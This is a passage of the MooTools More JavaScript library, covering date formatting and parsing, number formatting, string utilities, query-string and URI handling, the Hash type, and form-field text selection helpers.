		var d = this;
		return format.replace(/%([a-z%])/gi,
			function($0, $1){
				switch ($1){
					case 'a': return Date.getMsg('days_abbr')[d.get('day')];
					case 'A': return Date.getMsg('days')[d.get('day')];
					case 'b': return Date.getMsg('months_abbr')[d.get('month')];
					case 'B': return Date.getMsg('months')[d.get('month')];
					case 'c': return d.format('%a %b %d %H:%M:%S %Y');
					case 'd': return pad(d.get('date'), 2);
					case 'e': return pad(d.get('date'), 2, ' ');
					case 'H': return pad(d.get('hr'), 2);
					case 'I': return pad((d.get('hr') % 12) || 12, 2);
					case 'j': return pad(d.get('dayofyear'), 3);
					case 'k': return pad(d.get('hr'), 2, ' ');
					case 'l': return pad((d.get('hr') % 12) || 12, 2, ' ');
					case 'L': return pad(d.get('ms'), 3);
					case 'm': return pad((d.get('mo') + 1), 2);
					case 'M': return pad(d.get('min'), 2);
					case 'o': return d.get('ordinal');
					case 'p': return Date.getMsg(d.get('ampm'));
					case 's': return Math.round(d / 1000);
					case 'S': return pad(d.get('seconds'), 2);
					case 'T': return d.format('%H:%M:%S');
					case 'U': return pad(d.get('week'), 2);
					case 'w': return d.get('day');
					case 'x': return d.format(Date.getMsg('shortDate'));
					case 'X': return d.format(Date.getMsg('shortTime'));
					case 'y': return d.get('year').toString().substr(2);
					case 'Y': return d.get('year');
					case 'z': return d.get('GMTOffset');
					case 'Z': return d.get('Timezone');
				}
				return $1;
			}
		);
	},

	toISOString: function(){
		return this.format('iso8601');
	}

}).alias({
	toJSON: 'toISOString',
	compare: 'diff',
	strftime: 'format'
});

// The day and month abbreviations are standardized, so we cannot use simply %a and %b because they will get localized
var rfcDayAbbr = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'],
	rfcMonthAbbr = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];

var formats = {
	db: '%Y-%m-%d %H:%M:%S',
	compact: '%Y%m%dT%H%M%S',
	'short': '%d %b %H:%M',
	'long': '%B %d, %Y %H:%M',
	rfc822: function(date){
		return rfcDayAbbr[date.get('day')] + date.format(', %d ') + rfcMonthAbbr[date.get('month')] + date.format(' %Y %H:%M:%S %Z');
	},
	rfc2822: function(date){
		return rfcDayAbbr[date.get('day')] + date.format(', %d ') + rfcMonthAbbr[date.get('month')] + date.format(' %Y %H:%M:%S %z');
	},
	iso8601: function(date){
		return (
			date.getUTCFullYear() + '-' +
			pad(date.getUTCMonth() + 1, 2) + '-' +
			pad(date.getUTCDate(), 2) + 'T' +
			pad(date.getUTCHours(), 2) + ':' +
			pad(date.getUTCMinutes(), 2) + ':' +
			pad(date.getUTCSeconds(), 2) + '.' +
			pad(date.getUTCMilliseconds(), 3) + 'Z'
		);
	}
};

var parsePatterns = [],
	nativeParse = Date.parse;

var parseWord = function(type, word, num){
	var ret = -1,
		translated = Date.getMsg(type + 's');
	switch (typeOf(word)){
		case 'object':
			ret = translated[word.get(type)];
			break;
		case 'number':
			ret = translated[word];
			if (!ret) throw new Error('Invalid ' + type + ' index: ' + word);
			break;
		case 'string':
			var match = translated.filter(function(name){
				return this.test(name);
			}, new RegExp('^' + word, 'i'));
			if (!match.length) throw new Error('Invalid ' + type + ' string');
			if (match.length > 1) throw new Error('Ambiguous ' + type);
			ret = match[0];
	}

	return (num) ? translated.indexOf(ret) : ret;
};

var startCentury = 1900,
	startYear = 70;

Date.extend({

	getMsg: function(key, args){
		return Locale.get('Date.' + key, args);
	},

	units: {
		ms: Function.from(1),
		second: Function.from(1000),
		minute: Function.from(60000),
		hour: Function.from(3600000),
		day: Function.from(86400000),
		week: Function.from(608400000),
		month: function(month, year){
			var d = new Date;
			return Date.daysInMonth(month != null ? month : d.get('mo'), year != null ? year : d.get('year')) * 86400000;
		},
		year: function(year){
			year = year || new Date().get('year');
			return Date.isLeapYear(year) ? 31622400000 : 31536000000;
		}
	},

	daysInMonth: function(month, year){
		return [31, Date.isLeapYear(year) ? 29 : 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][month];
	},

	isLeapYear: function(year){
		return ((year % 4 === 0) && (year % 100 !== 0)) || (year % 400 === 0);
	},

	parse: function(from){
		var t = typeOf(from);
		if (t == 'number') return new Date(from);
		if (t != 'string') return from;
		from = from.clean();
		if (!from.length) return null;

		var parsed;
		parsePatterns.some(function(pattern){
			var bits = pattern.re.exec(from);
			return (bits) ? (parsed = pattern.handler(bits)) : false;
		});

		if (!(parsed && parsed.isValid())){
			parsed = new Date(nativeParse(from));
			if (!(parsed && parsed.isValid())) parsed = new Date(from.toInt());
		}
		return parsed;
	},

	parseDay: function(day, num){
		return parseWord('day', day, num);
	},

	parseMonth: function(month, num){
		return parseWord('month', month, num);
	},

	parseUTC: function(value){
		var localDate = new Date(value);
		var utcSeconds = Date.UTC(
			localDate.get('year'),
			localDate.get('mo'),
			localDate.get('date'),
			localDate.get('hr'),
			localDate.get('min'),
			localDate.get('sec'),
			localDate.get('ms')
		);
		return new Date(utcSeconds);
	},

	orderIndex: function(unit){
		return Date.getMsg('dateOrder').indexOf(unit) + 1;
	},

	defineFormat: function(name, format){
		formats[name] = format;
		return this;
	},

	

	defineParser: function(pattern){
		parsePatterns.push((pattern.re && pattern.handler) ? pattern : build(pattern));
		return this;
	},

	defineParsers: function(){
		Array.flatten(arguments).each(Date.defineParser);
		return this;
	},

	define2DigitYearStart: function(year){
		startYear = year % 100;
		startCentury = year - startYear;
		return this;
	}

}).extend({
	defineFormats: Date.defineFormat.overloadSetter()
});

var regexOf = function(type){
	return new RegExp('(?:' + Date.getMsg(type).map(function(name){
		return name.substr(0, 3);
	}).join('|') + ')[a-z]*');
};

var replacers = function(key){
	switch (key){
		case 'T':
			return '%H:%M:%S';
		case 'x': // iso8601 covers yyyy-mm-dd, so just check if month is first
			return ((Date.orderIndex('month') == 1) ? '%m[-./]%d' : '%d[-./]%m') + '([-./]%y)?';
		case 'X':
			return '%H([.:]%M)?([.:]%S([.:]%s)?)? ?%p? ?%z?';
	}
	return null;
};

var keys = {
	d: /[0-2]?[0-9]|3[01]/,
	H: /[01]?[0-9]|2[0-3]/,
	I: /0?[1-9]|1[0-2]/,
	M: /[0-5]?\d/,
	s: /\d+/,
	o: /[a-z]*/,
	p: /[ap]\.?m\.?/,
	y: /\d{2}|\d{4}/,
	Y: /\d{4}/,
	z: /Z|[+-]\d{2}(?::?\d{2})?/
};

keys.m = keys.I;
keys.S = keys.M;

var currentLanguage;

var recompile = function(language){
	currentLanguage = language;

	keys.a = keys.A = regexOf('days');
	keys.b = keys.B = regexOf('months');

	parsePatterns.each(function(pattern, i){
		if (pattern.format) parsePatterns[i] = build(pattern.format);
	});
};

var build = function(format){
	if (!currentLanguage) return {format: format};

	var parsed = [];
	var re = (format.source || format) // allow format to be regex
	 .replace(/%([a-z])/gi,
		function($0, $1){
			return replacers($1) || $0;
		}
	).replace(/\((?!\?)/g, '(?:') // make all groups non-capturing
	 .replace(/ (?!\?|\*)/g, ',? ') // be forgiving with spaces and commas
	 .replace(/%([a-z%])/gi,
		function($0, $1){
			var p = keys[$1];
			if (!p) return $1;
			parsed.push($1);
			return '(' + p.source + ')';
		}
	).replace(/\[a-z\]/gi, '[a-z\\u00c0-\\uffff;\&]'); // handle unicode words

	return {
		format: format,
		re: new RegExp('^' + re + '$', 'i'),
		handler: function(bits){
			bits = bits.slice(1).associate(parsed);
			var date = new Date().clearTime(),
				year = bits.y || bits.Y;

			if (year != null) handle.call(date, 'y', year); // need to start in the right year
			if ('d' in bits) handle.call(date, 'd', 1);
			if ('m' in bits || bits.b || bits.B) handle.call(date, 'm', 1);

			for (var key in bits) handle.call(date, key, bits[key]);
			return date;
		}
	};
};

var handle = function(key, value){
	if (!value) return this;

	switch (key){
		case 'a': case 'A': return this.set('day', Date.parseDay(value, true));
		case 'b': case 'B': return this.set('mo', Date.parseMonth(value, true));
		case 'd': return this.set('date', value);
		case 'H': case 'I': return this.set('hr', value);
		case 'm': return this.set('mo', value - 1);
		case 'M': return this.set('min', value);
		case 'p': return this.set('ampm', value.replace(/\./g, ''));
		case 'S': return this.set('sec', value);
		case 's': return this.set('ms', ('0.' + value) * 1000);
		case 'w': return this.set('day', value);
		case 'Y': return this.set('year', value);
		case 'y':
			value = +value;
			if (value < 100) value += startCentury + (value < startYear ? 100 : 0);
			return this.set('year', value);
		case 'z':
			if (value == 'Z') value = '+00';
			var offset = value.match(/([+-])(\d{2}):?(\d{2})?/);
			offset = (offset[1] + '1') * (offset[2] * 60 + (+offset[3] || 0)) + this.getTimezoneOffset();
			return this.set('time', this - offset * 60000);
	}

	return this;
};

Date.defineParsers(
	'%Y([-./]%m([-./]%d((T| )%X)?)?)?', // "1999-12-31", "1999-12-31 11:59pm", "1999-12-31 23:59:59", ISO8601
	'%Y%m%d(T%H(%M%S?)?)?', // "19991231", "19991231T1159", compact
	'%x( %X)?', // "12/31", "12.31.99", "12-31-1999", "12/31/2008 11:59 PM"
	'%d%o( %b( %Y)?)?( %X)?', // "31st", "31st December", "31 Dec 1999", "31 Dec 1999 11:59pm"
	'%b( %d%o)?( %Y)?( %X)?', // Same as above with month and day switched
	'%Y %b( %d%o( %X)?)?', // Same as above with year coming first
	'%o %b %d %X %z %Y', // "Thu Oct 22 08:11:23 +0000 2009"
	'%T', // %H:%M:%S
	'%H:%M( ?%p)?' // "11:05pm", "11:05 am" and "11:05"
);

Locale.addEvent('change', function(language){
	if (Locale.get('Date')) recompile(language);
}).fireEvent('change', Locale.getCurrent());

})();


/*
---

script: Date.Extras.js

name: Date.Extras

description: Extends the Date native object to include extra methods (on top of those in Date.js).

license: MIT-style license

authors:
  - Aaron Newton
  - Scott Kyle

requires:
  - /Date

provides: [Date.Extras]

...
*/

Date.implement({

	timeDiffInWords: function(to){
		return Date.distanceOfTimeInWords(this, to || new Date);
	},

	timeDiff: function(to, separator){
		if (to == null) to = new Date;
		var delta = ((to - this) / 1000).floor().abs();

		var vals = [],
			durations = [60, 60, 24, 365, 0],
			names = ['s', 'm', 'h', 'd', 'y'],
			value, duration;

		for (var item = 0; item < durations.length; item++){
			if (item && !delta) break;
			value = delta;
			if ((duration = durations[item])){
				value = (delta % duration);
				delta = (delta / duration).floor();
			}
			vals.unshift(value + (names[item] || ''));
		}

		return vals.join(separator || ':');
	}

}).extend({

	distanceOfTimeInWords: function(from, to){
		return Date.getTimePhrase(((to - from) / 1000).toInt());
	},

	getTimePhrase: function(delta){
		var suffix = (delta < 0) ? 'Until' : 'Ago';
		if (delta < 0) delta *= -1;

		var units = {
			minute: 60,
			hour: 60,
			day: 24,
			week: 7,
			month: 52 / 12,
			year: 12,
			eon: Infinity
		};

		var msg = 'lessThanMinute';

		for (var unit in units){
			var interval = units[unit];
			if (delta < 1.5 * interval){
				if (delta > 0.75 * interval) msg = unit;
				break;
			}
			delta /= interval;
			msg = unit + 's';
		}

		delta = delta.round();
		return Date.getMsg(msg + suffix, delta).substitute({delta: delta});
	}

}).defineParsers(

	{
		// "today", "tomorrow", "yesterday"
		re: /^(?:tod|tom|yes)/i,
		handler: function(bits){
			var d = new Date().clearTime();
			switch (bits[0]){
				case 'tom': return d.increment();
				case 'yes': return d.decrement();
				default: return d;
			}
		}
	},

	{
		// "next Wednesday", "last Thursday"
		re: /^(next|last) ([a-z]+)$/i,
		handler: function(bits){
			var d = new Date().clearTime();
			var day = d.getDay();
			var newDay = Date.parseDay(bits[2], true);
			var addDays = newDay - day;
			if (newDay <= day) addDays += 7;
			if (bits[1] == 'last') addDays -= 7;
			return d.set('date', d.getDate() + addDays);
		}
	}

).alias('timeAgoInWords', 'timeDiffInWords');


/*
---

name: Locale.en-US.Number

description: Number messages for US English.

license: MIT-style license

authors:
  - Arian Stolwijk

requires:
  - /Locale

provides: [Locale.en-US.Number]

...
*/

Locale.define('en-US', 'Number', {

	decimal: '.',
	group: ',',

/* 	Commented properties are the defaults for Number.format
	decimals: 0,
	precision: 0,
	scientific: null,

	prefix: null,
	suffic: null,

	// Negative/Currency/percentage will mixin Number
	negative: {
		prefix: '-'
	},*/

	currency: {
//		decimals: 2,
		prefix: '$ '
	}/*,

	percentage: {
		decimals: 2,
		suffix: '%'
	}*/

});




/*
---
name: Number.Format
description: Extends the Number Type object to include a number formatting method.
license: MIT-style license
authors: [Arian Stolwijk]
requires: [Core/Number, Locale.en-US.Number]
# Number.Extras is for compatibility
provides: [Number.Format, Number.Extras]
...
*/


Number.implement({

	format: function(options){
		// Thanks dojo and YUI for some inspiration
		var value = this;
		options = options ? Object.clone(options) : {};
		var getOption = function(key){
			if (options[key] != null) return options[key];
			return Locale.get('Number.' + key);
		};

		var negative = value < 0,
			decimal = getOption('decimal'),
			precision = getOption('precision'),
			group = getOption('group'),
			decimals = getOption('decimals');

		if (negative){
			var negativeLocale = getOption('negative') || {};
			if (negativeLocale.prefix == null && negativeLocale.suffix == null) negativeLocale.prefix = '-';
			['prefix', 'suffix'].each(function(key){
				if (negativeLocale[key]) options[key] = getOption(key) + negativeLocale[key];
			});

			value = -value;
		}

		var prefix = getOption('prefix'),
			suffix = getOption('suffix');

		if (decimals !== '' && decimals >= 0 && decimals <= 20) value = value.toFixed(decimals);
		if (precision >= 1 && precision <= 21) value = (+value).toPrecision(precision);

		value += '';
		var index;
		if (getOption('scientific') === false && value.indexOf('e') > -1){
			var match = value.split('e'),
				zeros = +match[1];
			value = match[0].replace('.', '');

			if (zeros < 0){
				zeros = -zeros - 1;
				index = match[0].indexOf('.');
				if (index > -1) zeros -= index - 1;
				while (zeros--) value = '0' + value;
				value = '0.' + value;
			} else {
				index = match[0].lastIndexOf('.');
				if (index > -1) zeros -= match[0].length - index - 1;
				while (zeros--) value += '0';
			}
		}

		if (decimal != '.') value = value.replace('.', decimal);

		if (group){
			index = value.lastIndexOf(decimal);
			index = (index > -1) ? index : value.length;
			var newOutput = value.substring(index),
				i = index;

			while (i--){
				if ((index - i - 1) % 3 == 0 && i != (index - 1)) newOutput = group + newOutput;
				newOutput = value.charAt(i) + newOutput;
			}

			value = newOutput;
		}

		if (prefix) value = prefix + value;
		if (suffix) value += suffix;

		return value;
	},

	formatCurrency: function(decimals){
		var locale = Locale.get('Number.currency') || {};
		if (locale.scientific == null) locale.scientific = false;
		locale.decimals = decimals != null ? decimals
			: (locale.decimals == null ? 2 : locale.decimals);

		return this.format(locale);
	},

	formatPercentage: function(decimals){
		var locale = Locale.get('Number.percentage') || {};
		if (locale.suffix == null) locale.suffix = '%';
		locale.decimals = decimals != null ? decimals
			: (locale.decimals == null ? 2 : locale.decimals);

		return this.format(locale);
	}

});


/*
---

script: String.Extras.js

name: String.Extras

description: Extends the String native object to include methods useful in managing various kinds of strings (query strings, urls, html, etc).

license: MIT-style license

authors:
  - Aaron Newton
  - Guillermo Rauch
  - Christopher Pitt

requires:
  - Core/String
  - Core/Array
  - MooTools.More

provides: [String.Extras]

...
*/

(function(){

var special = {
	'a': /[àáâãäåăą]/g,
	'A': /[ÀÁÂÃÄÅĂĄ]/g,
	'c': /[ćčç]/g,
	'C': /[ĆČÇ]/g,
	'd': /[ďđ]/g,
	'D': /[ĎÐ]/g,
	'e': /[èéêëěę]/g,
	'E': /[ÈÉÊËĚĘ]/g,
	'g': /[ğ]/g,
	'G': /[Ğ]/g,
	'i': /[ìíîï]/g,
	'I': /[ÌÍÎÏ]/g,
	'l': /[ĺľł]/g,
	'L': /[ĹĽŁ]/g,
	'n': /[ñňń]/g,
	'N': /[ÑŇŃ]/g,
	'o': /[òóôõöøő]/g,
	'O': /[ÒÓÔÕÖØ]/g,
	'r': /[řŕ]/g,
	'R': /[ŘŔ]/g,
	's': /[ššş]/g,
	'S': /[ŠŞŚ]/g,
	't': /[ťţ]/g,
	'T': /[ŤŢ]/g,
	'ue': /[ü]/g,
	'UE': /[Ü]/g,
	'u': /[ùúûůµ]/g,
	'U': /[ÙÚÛŮ]/g,
	'y': /[ÿý]/g,
	'Y': /[ŸÝ]/g,
	'z': /[žźż]/g,
	'Z': /[ŽŹŻ]/g,
	'th': /[þ]/g,
	'TH': /[Þ]/g,
	'dh': /[ð]/g,
	'DH': /[Ð]/g,
	'ss': /[ß]/g,
	'oe': /[œ]/g,
	'OE': /[Œ]/g,
	'ae': /[æ]/g,
	'AE': /[Æ]/g
},

tidy = {
	' ': /[\xa0\u2002\u2003\u2009]/g,
	'*': /[\xb7]/g,
	'\'': /[\u2018\u2019]/g,
	'"': /[\u201c\u201d]/g,
	'...': /[\u2026]/g,
	'-': /[\u2013]/g,
//	'--': /[\u2014]/g,
	'&raquo;': /[\uFFFD]/g
};

var walk = function(string, replacements){
	var result = string, key;
	for (key in replacements) result = result.replace(replacements[key], key);
	return result;
};

var getRegexForTag = function(tag, contents){
	tag = tag || '';
	var regstr = contents ? "<" + tag + "(?!\\w)[^>]*>([\\s\\S]*?)<\/" + tag + "(?!\\w)>" : "<\/?" + tag + "([^>]+)?>",
		reg = new RegExp(regstr, "gi");
	return reg;
};

String.implement({

	standardize: function(){
		return walk(this, special);
	},

	repeat: function(times){
		return new Array(times + 1).join(this);
	},

	pad: function(length, str, direction){
		if (this.length >= length) return this;

		var pad = (str == null ? ' ' : '' + str)
			.repeat(length - this.length)
			.substr(0, length - this.length);

		if (!direction || direction == 'right') return this + pad;
		if (direction == 'left') return pad + this;

		return pad.substr(0, (pad.length / 2).floor()) + this + pad.substr(0, (pad.length / 2).ceil());
	},

	getTags: function(tag, contents){
		return this.match(getRegexForTag(tag, contents)) || [];
	},

	stripTags: function(tag, contents){
		return this.replace(getRegexForTag(tag, contents), '');
	},

	tidy: function(){
		return walk(this, tidy);
	},

	truncate: function(max, trail, atChar){
		var string = this;
		if (trail == null && arguments.length == 1) trail = '…';
		if (string.length > max){
			string = string.substring(0, max);
			if (atChar){
				var index = string.lastIndexOf(atChar);
				if (index != -1) string = string.substr(0, index);
			}
			if (trail) string += trail;
		}
		return string;
	}

});

})();


/*
---

script: String.QueryString.js

name: String.QueryString

description: Methods for dealing with URI query strings.

license: MIT-style license

authors:
  - Sebastian Markbåge
  - Aaron Newton
  - Lennart Pilon
  - Valerio Proietti

requires:
  - Core/Array
  - Core/String
  - /MooTools.More

provides: [String.QueryString]

...
*/

String.implement({

	parseQueryString: function(decodeKeys, decodeValues){
		if (decodeKeys == null) decodeKeys = true;
		if (decodeValues == null) decodeValues = true;

		var vars = this.split(/[&;]/),
			object = {};
		if (!vars.length) return object;

		vars.each(function(val){
			var index = val.indexOf('=') + 1,
				value = index ? val.substr(index) : '',
				keys = index ? val.substr(0, index - 1).match(/([^\]\[]+|(\B)(?=\]))/g) : [val],
				obj = object;
			if (!keys) return;
			if (decodeValues) value = decodeURIComponent(value);
			keys.each(function(key, i){
				if (decodeKeys) key = decodeURIComponent(key);
				var current = obj[key];

				if (i < keys.length - 1) obj = obj[key] = current || {};
				else if (typeOf(current) == 'array') current.push(value);
				else obj[key] = current != null ? [current, value] : value;
			});
		});

		return object;
	},

	cleanQueryString: function(method){
		return this.split('&').filter(function(val){
			var index = val.indexOf('='),
				key = index < 0 ? '' : val.substr(0, index),
				value = val.substr(index + 1);

			return method ? method.call(null, key, value) : (value || value === 0);
		}).join('&');
	}

});


/*
---

script: URI.js

name: URI

description: Provides methods useful in managing the window location and uris.

license: MIT-style license

authors:
  - Sebastian Markbåge
  - Aaron Newton

requires:
  - Core/Object
  - Core/Class
  - Core/Class.Extras
  - Core/Element
  - /String.QueryString

provides: [URI]

...
*/

(function(){

var toString = function(){
	return this.get('value');
};

var URI = this.URI = new Class({

	Implements: Options,

	options: {
		/*base: false*/
	},

	regex: /^(?:(\w+):)?(?:\/\/(?:(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)?(\.\.?$|(?:[^?#\/]*\/)*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?/,
	parts: ['scheme', 'user', 'password', 'host', 'port', 'directory', 'file', 'query', 'fragment'],
	schemes: {http: 80, https: 443, ftp: 21, rtsp: 554, mms: 1755, file: 0},

	initialize: function(uri, options){
		this.setOptions(options);
		var base = this.options.base || URI.base;
		if (!uri) uri = base;

		if (uri && uri.parsed) this.parsed = Object.clone(uri.parsed);
		else this.set('value', uri.href || uri.toString(), base ? new URI(base) : false);
	},

	parse: function(value, base){
		var bits = value.match(this.regex);
		if (!bits) return false;
		bits.shift();
		return this.merge(bits.associate(this.parts), base);
	},

	merge: function(bits, base){
		if ((!bits || !bits.scheme) && (!base || !base.scheme)) return false;
		if (base){
			this.parts.every(function(part){
				if (bits[part]) return false;
				bits[part] = base[part] || '';
				return true;
			});
		}
		bits.port = bits.port || this.schemes[bits.scheme.toLowerCase()];
		bits.directory = bits.directory ? this.parseDirectory(bits.directory, base ? base.directory : '') : '/';
		return bits;
	},

	parseDirectory: function(directory, baseDirectory){
		directory = (directory.substr(0, 1) == '/' ? '' : (baseDirectory || '/')) + directory;
		if (!directory.test(URI.regs.directoryDot)) return directory;
		var result = [];
		directory.replace(URI.regs.endSlash, '').split('/').each(function(dir){
			if (dir == '..' && result.length > 0) result.pop();
			else if (dir != '.') result.push(dir);
		});
		return result.join('/') + '/';
	},

	combine: function(bits){
		return bits.value || bits.scheme + '://' +
			(bits.user ? bits.user + (bits.password ? ':' + bits.password : '') + '@' : '') +
			(bits.host || '') + (bits.port && bits.port != this.schemes[bits.scheme] ? ':' + bits.port : '') +
			(bits.directory || '/') + (bits.file || '') +
			(bits.query ? '?' + bits.query : '') +
			(bits.fragment ? '#' + bits.fragment : '');
	},

	set: function(part, value, base){
		if (part == 'value'){
			var scheme = value.match(URI.regs.scheme);
			if (scheme) scheme = scheme[1];
			if (scheme && this.schemes[scheme.toLowerCase()] == null) this.parsed = { scheme: scheme, value: value };
			else this.parsed = this.parse(value, (base || this).parsed) || (scheme ? { scheme: scheme, value: value } : { value: value });
		} else if (part == 'data'){
			this.setData(value);
		} else {
			this.parsed[part] = value;
		}
		return this;
	},

	get: function(part, base){
		switch (part){
			case 'value': return this.combine(this.parsed, base ? base.parsed : false);
			case 'data' : return this.getData();
		}
		return this.parsed[part] || '';
	},

	go: function(){
		document.location.href = this.toString();
	},

	toURI: function(){
		return this;
	},

	getData: function(key, part){
		var qs = this.get(part || 'query');
		if (!(qs || qs === 0)) return key ? null : {};
		var obj = qs.parseQueryString();
		return key ? obj[key] : obj;
	},

	setData: function(values, merge, part){
		if (typeof values == 'string'){
			var data = this.getData();
			data[arguments[0]] = arguments[1];
			values = data;
		} else if (merge){
			values = Object.merge(this.getData(), values);
		}
		return this.set(part || 'query', Object.toQueryString(values));
	},

	clearData: function(part){
		return this.set(part || 'query', '');
	},

	toString: toString,
	valueOf: toString

});

URI.regs = {
	endSlash: /\/$/,
	scheme: /^(\w+):/,
	directoryDot: /\.\/|\.$/
};

URI.base = new URI(Array.from(document.getElements('base[href]', true)).getLast(), {base: document.location});

String.implement({

	toURI: function(options){
		return new URI(this, options);
	}

});

})();


/*
---

script: URI.Relative.js

name: URI.Relative

description: Extends the URI class to add methods for computing relative and absolute urls.

license: MIT-style license

authors:
  - Sebastian Markbåge


requires:
  - /Class.refactor
  - /URI

provides: [URI.Relative]

...
*/

URI = Class.refactor(URI, {

	combine: function(bits, base){
		if (!base || bits.scheme != base.scheme || bits.host != base.host || bits.port != base.port)
			return this.previous.apply(this, arguments);
		var end = bits.file + (bits.query ? '?' + bits.query : '') + (bits.fragment ? '#' + bits.fragment : '');

		if (!base.directory) return (bits.directory || (bits.file ? '' : './')) + end;

		var baseDir = base.directory.split('/'),
			relDir = bits.directory.split('/'),
			path = '',
			offset;

		var i = 0;
		for (offset = 0; offset < baseDir.length && offset < relDir.length && baseDir[offset] == relDir[offset]; offset++);
		for (i = 0; i < baseDir.length - offset - 1; i++) path += '../';
		for (i = offset; i < relDir.length - 1; i++) path += relDir[i] + '/';

		return (path || (bits.file ? '' : './')) + end;
	},

	toAbsolute: function(base){
		base = new URI(base);
		if (base) base.set('directory', '').set('file', '');
		return this.toRelative(base);
	},

	toRelative: function(base){
		return this.get('value', new URI(base));
	}

});


/*
---

name: Hash

description: Contains Hash Prototypes. Provides a means for overcoming the JavaScript practical impossibility of extending native Objects.

license: MIT-style license.

requires:
  - Core/Object
  - /MooTools.More

provides: [Hash]

...
*/

(function(){

if (this.Hash) return;

var Hash = this.Hash = new Type('Hash', function(object){
	if (typeOf(object) == 'hash') object = Object.clone(object.getClean());
	for (var key in object) this[key] = object[key];
	return this;
});

this.$H = function(object){
	return new Hash(object);
};

Hash.implement({

	forEach: function(fn, bind){
		Object.forEach(this, fn, bind);
	},

	getClean: function(){
		var clean = {};
		for (var key in this){
			if (this.hasOwnProperty(key)) clean[key] = this[key];
		}
		return clean;
	},

	getLength: function(){
		var length = 0;
		for (var key in this){
			if (this.hasOwnProperty(key)) length++;
		}
		return length;
	}

});

Hash.alias('each', 'forEach');

Hash.implement({

	has: Object.prototype.hasOwnProperty,

	keyOf: function(value){
		return Object.keyOf(this, value);
	},

	hasValue: function(value){
		return Object.contains(this, value);
	},

	extend: function(properties){
		Hash.each(properties || {}, function(value, key){
			Hash.set(this, key, value);
		}, this);
		return this;
	},

	combine: function(properties){
		Hash.each(properties || {}, function(value, key){
			Hash.include(this, key, value);
		}, this);
		return this;
	},

	erase: function(key){
		if (this.hasOwnProperty(key)) delete this[key];
		return this;
	},

	get: function(key){
		return (this.hasOwnProperty(key)) ? this[key] : null;
	},

	set: function(key, value){
		if (!this[key] || this.hasOwnProperty(key)) this[key] = value;
		return this;
	},

	empty: function(){
		Hash.each(this, function(value, key){
			delete this[key];
		}, this);
		return this;
	},

	include: function(key, value){
		if (this[key] == undefined) this[key] = value;
		return this;
	},

	map: function(fn, bind){
		return new Hash(Object.map(this, fn, bind));
	},

	filter: function(fn, bind){
		return new Hash(Object.filter(this, fn, bind));
	},

	every: function(fn, bind){
		return Object.every(this, fn, bind);
	},

	some: function(fn, bind){
		return Object.some(this, fn, bind);
	},

	getKeys: function(){
		return Object.keys(this);
	},

	getValues: function(){
		return Object.values(this);
	},

	toQueryString: function(base){
		return Object.toQueryString(this, base);
	}

});

Hash.alias({indexOf: 'keyOf', contains: 'hasValue'});


})();



/*
---

script: Hash.Extras.js

name: Hash.Extras

description: Extends the Hash Type to include getFromPath which allows a path notation to child elements.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - /Hash
  - /Object.Extras

provides: [Hash.Extras]

...
*/

Hash.implement({

	getFromPath: function(notation){
		return Object.getFromPath(this, notation);
	},

	cleanValues: function(method){
		return new Hash(Object.cleanValues(this, method));
	},

	run: function(){
		Object.run(arguments);
	}

});


/*
---

script: Element.Forms.js

name: Element.Forms

description: Extends the Element native object to include methods useful in managing inputs.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Element
  - /String.Extras
  - /MooTools.More

provides: [Element.Forms]

...
*/

Element.implement({

	tidy: function(){
		this.set('value', this.get('value').tidy());
	},

	getTextInRange: function(start, end){
		return this.get('value').substring(start, end);
	},

	getSelectedText: function(){
		if (this.setSelectionRange) return this.getTextInRange(this.getSelectionStart(), this.getSelectionEnd());
		return document.selection.createRange().text;
	},

	getSelectedRange: function(){
		if (this.selectionStart != null){
			return {
				start: this.selectionStart,
				end: this.selectionEnd
			};
		}

		var pos = {
			start: 0,
			end: 0
		};
		var range = this.getDocument().selection.createRange();
		if (!range || range.parentElement() != this) return pos;
		var duplicate = range.duplicate();

		if (this.type == 'text'){
			pos.start = 0 - duplicate.moveStart('character', -100000);
			pos.end = pos.start + range.text.length;
		} else {
			var value = this.get('value');
			var offset = value.length;
			duplicate.moveToElementText(this);
			duplicate.setEndPoint('StartToEnd', range);
			if (duplicate.text.length) offset -= value.match(/[\n\r]*$/)[0].length;
			pos.end = offset - duplicate.text.length;
			duplicate.setEndPoint('StartToStart', range);
			pos.start = offset - duplicate.text.length;
		}
		return pos;
	},

	getSelectionStart: function(){
		return this.getSelectedRange().start;
	},

	getSelectionEnd: function(){
		return this.getSelectedRange().end;
	},

	setCaretPosition: function(pos){
		if (pos == 'end') pos = this.get('value').length;
		this.selectRange(pos, pos);
		return this;
	},

	getCaretPosition: function(){
		return this.getSelectedRange().start;
	},

	selectRange: function(start, end){
		if (this.setSelectionRange){
			this.focus();
			this.setSelectionRange(start, end);
		} else {
			var value = this.get('value');
			var diff = value.substr(start, end - start).replace(/\r/g, '').length;
			start = value.substr(0, start).replace(/\r/g, '').length;
			var range = this.createTextRange();
			range.collapse(true);
			range.moveEnd('character', start + diff);
			range.moveStart('character', start);
			range.select();
		}
		return this;
	},

	insertAtCursor: function(value, select){
		var pos = this.getSelectedRange();
		var text = this.get('value');
		this.set('value', text.substring(0, pos.start) + value + text.substring(pos.end, text.length));
		if (select !== false) this.selectRange(pos.start, pos.start + value.length);
		else this.setCaretPosition(pos.start + value.length);
		return this;
	},

	insertAroundCursor: function(options, select){
		options = Object.append({
			before: '',
			defaultMiddle: '',
			after: ''
		}, options);

		var value = this.getSelectedText() || options.defaultMiddle;
		var pos = this.getSelectedRange();
		var text = this.get('value');

		if (pos.start == pos.end){
			this.set('value', text.substring(0, pos.start) + options.before + value + options.after + text.substring(pos.end, text.length));
			this.selectRange(pos.start + options.before.length, pos.end + options.before.length + value.length);
		} else {
			var current = text.substring(pos.start, pos.end);
			this.set('value', text.substring(0, pos.start) + options.before + current + options.after + text.substring(pos.end, text.length));
			var selStart = pos.start + options.before.length;
			if (select !== false) this.selectRange(selStart, selStart + current.length);
			else this.setCaretPosition(selStart + text.length);
		}
		return this;
	}

});


/*
---

script: Elements.From.js

name: Elements.From

description: Returns a collection of elements from a string of html.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/String
  - Core/Element
